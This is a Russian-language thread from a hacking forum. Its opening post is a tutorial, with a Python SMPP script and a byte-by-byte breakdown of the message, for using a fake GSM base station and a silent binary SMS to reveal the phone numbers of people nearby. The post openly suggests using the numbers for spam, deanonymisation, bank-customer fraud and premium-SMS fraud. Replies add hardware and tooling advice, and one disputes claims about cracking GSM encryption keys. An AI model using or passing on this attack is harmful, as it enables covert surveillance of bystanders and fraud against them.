• XSS.stack #1 – первый литературный журнал от юзеров форума

GSM Как получить номера телефонов окружающих людей

Пожалуйста, обратите внимание, что пользователь заблокирован
смску можно и через lte переслать
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Какую стратегию вы бы использовали для защиты?
Прочитав все это у меня началась сильнешая паранойя :confused:

foil.jpg
 
Прочитав все это у меня началась сильнешая паранойя :confused:
и это только мобильная связь, ещё даже не интернет :)

bad.jpg
 
Всем хай! И снова пенетрируем мобильные телефоны окружающих )

Как получить телефонные номера всех двуногих людей, которые осмелились вторгнуться в ваше личное пространство!?

Описываемый мною метод позволяет сопоставить уникальный идентификатор СИМ-карты (IMSI) с фактическим номером телефона (MSISDN) цели, находящейся в пределах радиуса действия фейковой базовой станции.

Для чего это может быть нужно?
Например, Вы владелец магазина и хотите узнать номера телефонов всех посетителей, чтобы разослать им целевой спам по мессенджерам.
Или напомнить о себе СМСкой с промокодом через пару дней после того как зарегистрировали данного человека в своем шопе.
Или "сдеанонить" человека, находящегося рядом - пробить по базам данных, используя его тел.номер.
Или получить номера телефонов всех посетителей банка...
Или использовать добытую информацию в целях соц.инженерии
("Здравствуйте Иван Иваныч! Вы пользовались сегодня нашим банкоматом на улице C001H4ck3r Street ?
К сожалению, сразу после того как вы ушли - ровно в 6ч 66мин в нашей системе была зафиксирована утечка информации. Вы должны срочно перевести все $ на безопасный счет, иначе злые хакеры взорвут ваш айфон :)
")
Или просто отправить смс с чужого телефона на свой платный номер )
Или... все зависит от вашей фантазии!

Итак, первым делом Вам понадобится IMSI-catcher (эмулятор базовой станции), позволяющий отправлять на зарегистрированные в его сети мобильные телефоны бинарные СМС.
На этом моменте я подробно останавливаться не буду, так как тема достаточно хорошо описана в интернете и вариантов тут много - osmocom, yate bts, openbts и т.д.
В качестве железа можно использовать SDR с правильной "обвязкой" или моторолу с118 с перепаяными фильтрами.

Вторая часть успеха - "левый" андроид смартфон с "левой" симкой, но обязательно рабочий (на симке должен быть положительный баланс) и способный принимать СМС.

Смысл атаки в том, что мы заставим все зарегистрировавшиеся на нашем imsi catcher'е телефоны - отправить СМСку на наш телефон, но отправить ее уже через сеть оператора - таким образом мы получим номер телефона цели с которого отправлена "контрольная" смс.
В этом нам поможет механизм Delivery Report - суть в том, что для бинарный СМС можно сконфигурировать заголовок таким образом, что при ее получении телефон будет должен отправить отчет о доставке на заданный нами номер. Конечно - пока телефон висит на фейковой сети imsi catcher'а , он не сможет этого сделать.
А вот если кетчер выключить сразу после отправки бинарной смс - телефон сделает реселект на настоящую сеть оператора и СМСка уже будет отправлена через механизмы HLR-AuC оператора!

Ловите приватный скрипт на Python'е для отправки такой СМСки:
Python:
#!/usr/bin/env python3
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

import smpplib.gsm
import smpplib.client
import smpplib.consts

def send_message(source, dest):
    client = smpplib.client.Client('127.0.0.1', 2775)
    client.set_message_sent_handler(
        lambda pdu: sys.stdout.write('sent {} {}\n'.format(pdu.sequence, pdu.message_id)))
    client.set_message_received_handler(
        lambda pdu: sys.stdout.write('delivered {}\n'.format(pdu.receipted_message_id)))
    client.connect()
    client.bind_transceiver(system_id='OSMO-SMPP', password='1234')
    string =  '\x02\x70\x00\x00\x0e\x0d\x00\x21\x00\x00\xb2\x00\x00\xaa\xbb\xcc\xdd\xee\x00'
    coding =  0xf6
    pdu = client.send_message(
            msg_type=smpplib.consts.SMPP_MSGTYPE_USERACK,
            source_addr_ton=smpplib.consts.SMPP_TON_INTL,
            source_addr_npi=smpplib.consts.SMPP_NPI_ISDN,
            source_addr=source,
            dest_addr_ton=smpplib.consts.SMPP_TON_INTL,
            dest_addr_npi=smpplib.consts.SMPP_NPI_ISDN,
            destination_addr=dest,
            short_message=string,
            data_coding= sms_cod,
            protocol_id = 0x41,
            esm_class=smpplib.consts.SMPP_GSMFEAT_UDHI,
            registered_delivery=False,
        )
 

if __name__ == "__main__":
    source = sys.argv[1]
    dest = sys.argv[2]
    send_message(source, dest)



Разберем подробнее.
Этот скрипт отправляет бинарное СМС сообщение через интерфейс SMPP фейковой базовой станции, со следующими байтами информации:

010007919 32350591211 0026 44 0c919 32390026xxxx 7ff6117042711404e113 0270 00000e0d 0021 0000b20000aabbccddee00
где:
32350591211 - Номер смс- центра
44 - Тип сообщения - SMS-DELIVER
32390026xxxx - Тел.номер куда прислать отчет о доставке
0270 - SIM toolkit security header
0021 - SIM toolkit security parameter indicator

aabbccddee - любая информация. Нужна для того чтобы пакет данных имел правильный размер.
Сюда Вы можете вписать например уникальный идентификатор цели - последние 4 цифры IMSI и т.п.


Методика работы - включаем базовую станцию, ждем когда на ней зарегистрируются нужные абоненты.
Вопрос настройки БС, редиректора и прочего в рамках этого сообщения я не рассматриваю.
Нужно сделать так чтобы абоненты на ней регистрировались )

После получения нужного числа абонентов - присваиваем им уникальные номера внутри нашей БСки.

Далее рассылаем на эти номера бинарные СМС командой python3 sms.py 79161234567 123
где 7916... - номер телефона куда придет ответная смс
123 - уникальный номер абонента внутри нашей БСки

Нужно отправить все сообщения в течении максимум 5 секунд (делать это нужно разумеется не вручную, а специально написанным скриптом). После чего выключите питание передатчика базовой станции.
Через 10 секунд на Ваш телефон (791612345678) начнут приходить ответные бинарные СМС от счастливых получателей Вашего месседжа.
Но, так как ответные СМС тоже бинарные - в инбоксе вы их не увидете, но можно прочитать любой программой, показывающей RAW PDU SMS (много готового опенсорса на гитхабе). В тексте этой смски будет код aabbccdd (или тот id который вы впишите), а отправлена она будет с номера телефона цели :D

Телефон-цель не покажет ничего на экране, но факт отправки смс на ваш номер будет зарегистрирован в биллинге оператора, поэтому если дело вдруг дойдет до практических экспериментов - будьте осторожны и не используйте в качестве телефона-индикатора свой собственный телефон.

Разумеется, все вышесказанное можно тестировать только в клетке Фарадея, используя свои телефоны и надев шапочку из фольги (если шапочка сильно нагревается - рекомендуется уменьшить мощность передатчика).
Возможно глупый вопрос но на айфонах работает?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Возможно глупый вопрос но на айфонах работает?
Проверяйте - вся информация для реализации атаки есть в первом сообщении темы, включая даже исходник.
У меня нет айфона, поэтому не знаю.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
После регистрации окружающих телефонов на фейк бс номера уже не будут видны? Отправлять смс обязательно?
 
После регистрации окружающих телефонов на фейк бс номера уже не будут видны? Отправлять смс обязательно?
Ну вроде всё понятно из статьи и как понял лично я чтобы получить номера не достаточно подключения к твоей бс
 
Пожалуйста, обратите внимание, что пользователь заблокирован
После регистрации окружающих телефонов на фейк бс номера уже не будут видны? Отправлять смс обязательно?
Телефон передает IMSI (идентификатор сим карты) и IMEI (идентификатор "железа" телефона).
Номер телефона в формете +79161234567 , называемый MSISDN - хранится на сервере оператора связи. Именно поэтому ты можешь менять сим-карты или сами телефоны, не меняя при этом номер телефона.

Соответственно - подключив телефон к имитатору базовой станции, ты можешь получить только IMSI и IMEI, но не номер телефона, т.к. внутри "трубки" его просто нет. Один из методов его получения - "хак", описываемый в данной теме. Второй метод показан тут.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И надо сказать - статья хорошая...............всё по полочкам..................я лайкнул
Конечно я не смог сузить :) я активными комплексами никогда и не занимался, а вот люди что вам через меня и рассказали об использовании команды сузили и получают менее 20 вариантов, считается сильно менее чем за секунду :) при этом таблицы во много раз больше. Это у вас сначала вышло дикое количество вариантов, а потом вы сами же сократили свой результат :) У людей то всё нормально сокращено и делается уже много лет :)

Заголовок cm complete - я от вас уже слышал подобное утверждение что каждая строка кодируется отдельно, а не команда целиком, потом правда вы решили что кодируется три последние строки целиком кроме первой, не знаю на чем вы остановились сейчас............а так же что первая строка не кодируется вовсе................тут мне даже сложно как то прокомментировать это..................я могу прислать скрин где ключ получаю именно посде декодирования первой строки, если она не зашифрована как вы утверждаете то откуда мы получили ключ? Правильность ключа я контролирую по телефону, т.е наш волшебный телефон его просто показывает. Дешифруем именно свой обмен с базой. Мы же с вами это уже обсуждали. Идет кодирование команды целиком а не по строчно ( 4 строки), и вот снова вы за старое. Я узнал, московская команда написали - маловероятно, от Питера жду.
Видео "сумашедшего шведского хакера" - так там он подробно и не раз говорит - не угадали один бит - всё, декодирования не будет, и вся работа, а он все для наглядности делал в ручную, в пустую проделана, а для вас выходит байт, а то и много байт - не проблема. Тогда кстати вместо того что бы продавать "новинку" за 40 000$ реализация которой есть уже несколько лет тому как, и которую конечно же никто покупать не будет, поскольку ваша целевая аудитория это именно разработчики, вы же не код готовый с железом продаете, а идею без гарантий. Так вы могли бы реально продавать идею как реализовать дешифрацию по заголовку команды, насколько я знаю этого нет ни у кого, предлагать разным компаниям разработчиков, которые "барыги" по вашему выражению. Ну потому что они по вашему же выражению " лям зелени вложили" а выкладывать исходники продукта в открытый доступ почему то не хотят.........вот интересно, почему бы это?


Но это же легко проверить - я вам отправлю команду, в ней рандом, а вы пришлите ключ. Причем не нужно его считать за 1- 4 секунды как это необходимо для активного комплекса, время счета не проверить, вы его просто найдите, хоть за несколько суток. Причем я вам пришлю всю команду, все 4 последовательности, не только заголовок, облегчим вам задачу до крайности.
Я же ключ и скрины отправлю гаранту, пусть рассудит. Или я отправляю ключ на файлообменник, паролю файл, а по результату дешифровки даю пароль, так исключается человеческий фактор. И если найдете я извинюсь и скажу что вы таки смогли это сделать............................смогли сломать пароль на архиве :)
Это я уже не говорю о том что на ваших таблицах вы получаете максимум 50% учитывая обьем таблиц. Если вы сокращаете количество строк с 4 до 1 то результат успешного поиска становится в разы мешьше............это даже если взять что ваше сообщение не фэйк, хотя сам я уверен на 100% что это фэйк.

Конечно, на форуме мало людей кто сильно в теме, и для них можно писать что угодно, но мы то с вами знаем что их мало но есть :)
Естественно файл будет записан с активки с нужными выставленными параметрами, как вам нравится.
Так вы считаете что схема описанная в теме не работает на практике?
 
Телефон передает IMSI (идентификатор сим карты) и IMEI (идентификатор "железа" телефона).
Номер телефона в формете +79161234567 , называемый MSISDN - хранится на сервере оператора связи. Именно поэтому ты можешь менять сим-карты или сами телефоны, не меняя при этом номер телефона.

Соответственно - подключив телефон к имитатору базовой станции, ты можешь получить только IMSI и IMEI, но не номер телефона, т.к. внутри "трубки" его просто нет. Один из методов его получения - "хак", описываемый в данной теме. Второй метод показан тут.
Можешь порекомендовать книги по радиоэксплутации(rus)/или введения в радиоэлектронику для чайников?)
Если такие есть.Заранее thx
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Можешь порекомендовать книги по радиоэксплутации(rus)/или введения в радиоэлектронику для чайников?)
Если такие есть.Заранее thx

По электронике в целом - для начала, Хоровец Хилл, "Искусство схемотехники" - а дальше определяться с более узкой "специализацией", и читать соответствующую литературу.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Уважаемый Автор! Благодарю Вас за эту статью! Я с большим удовольствием долго перечитывал её, пытаясь вникнуть в суть метода, и, наконец, понял. Несколько лет назад я экспериментировал с IMSI Catcher'ом на базе osmocombb. Вместо глушилки я использовал простой метод: заворачивал атакуемый телефон с предварительно включенным 2G в фольгу на 10 секунд. После этого убирал ее, и телефон самостоятельно подключался к fake-BTS. Ранее я думал, что ключевую роль здесь играет мощность сигнала, однако практика показала иное.

Планирую в будущем повторить Ваш эксперимент. Но возник вопрос по поводу SDR, подойдёт ли для этого HackRf One? Или, возможно, лучше приобрести BladeRf?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вопрос настройки БС, редиректора и прочего в рамках этого сообщения я не рассматриваю.
Ну вот опять, либо яйца, либо профит))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Планирую в будущем повторить Ваш эксперимент. Но возник вопрос по поводу SDR, подойдёт ли для этого HackRf One? Или, возможно, лучше приобрести BladeRf?
Эксперимент можно повторить на имеющейся у Вас мотороле, ее более чем достаточно.

SDR - usrp b200, lime sdr, bladerf.
HackRF потребует доработки драйвера, для его использования совместно с Osmocom.
 
Еще раз пролистал тему, возник вопрос, поскольку не заметил его в теме.
А чем читать бинарные смски на телефоне получателе?
В идеале два варианта: телефон для использования в полевых условиях + что-то другое, что можно подключать к компьютеру, что поддается автоматизации и сборе данных в текстовый файл/базу.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Еще раз пролистал тему, возник вопрос, поскольку не заметил его в теме.
А чем читать бинарные смски на телефоне получателе?
В идеале два варианта: телефон для использования в полевых условиях +

https://github.com/jimni/android-sms-debugger или любой аналогичный софт. Ищется по запросу "RAW PDU SMS"

что-то другое, что можно подключать к компьютеру, что поддается автоматизации и сборе данных в текстовый файл/базу.

Моторола + osmocom mobile.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх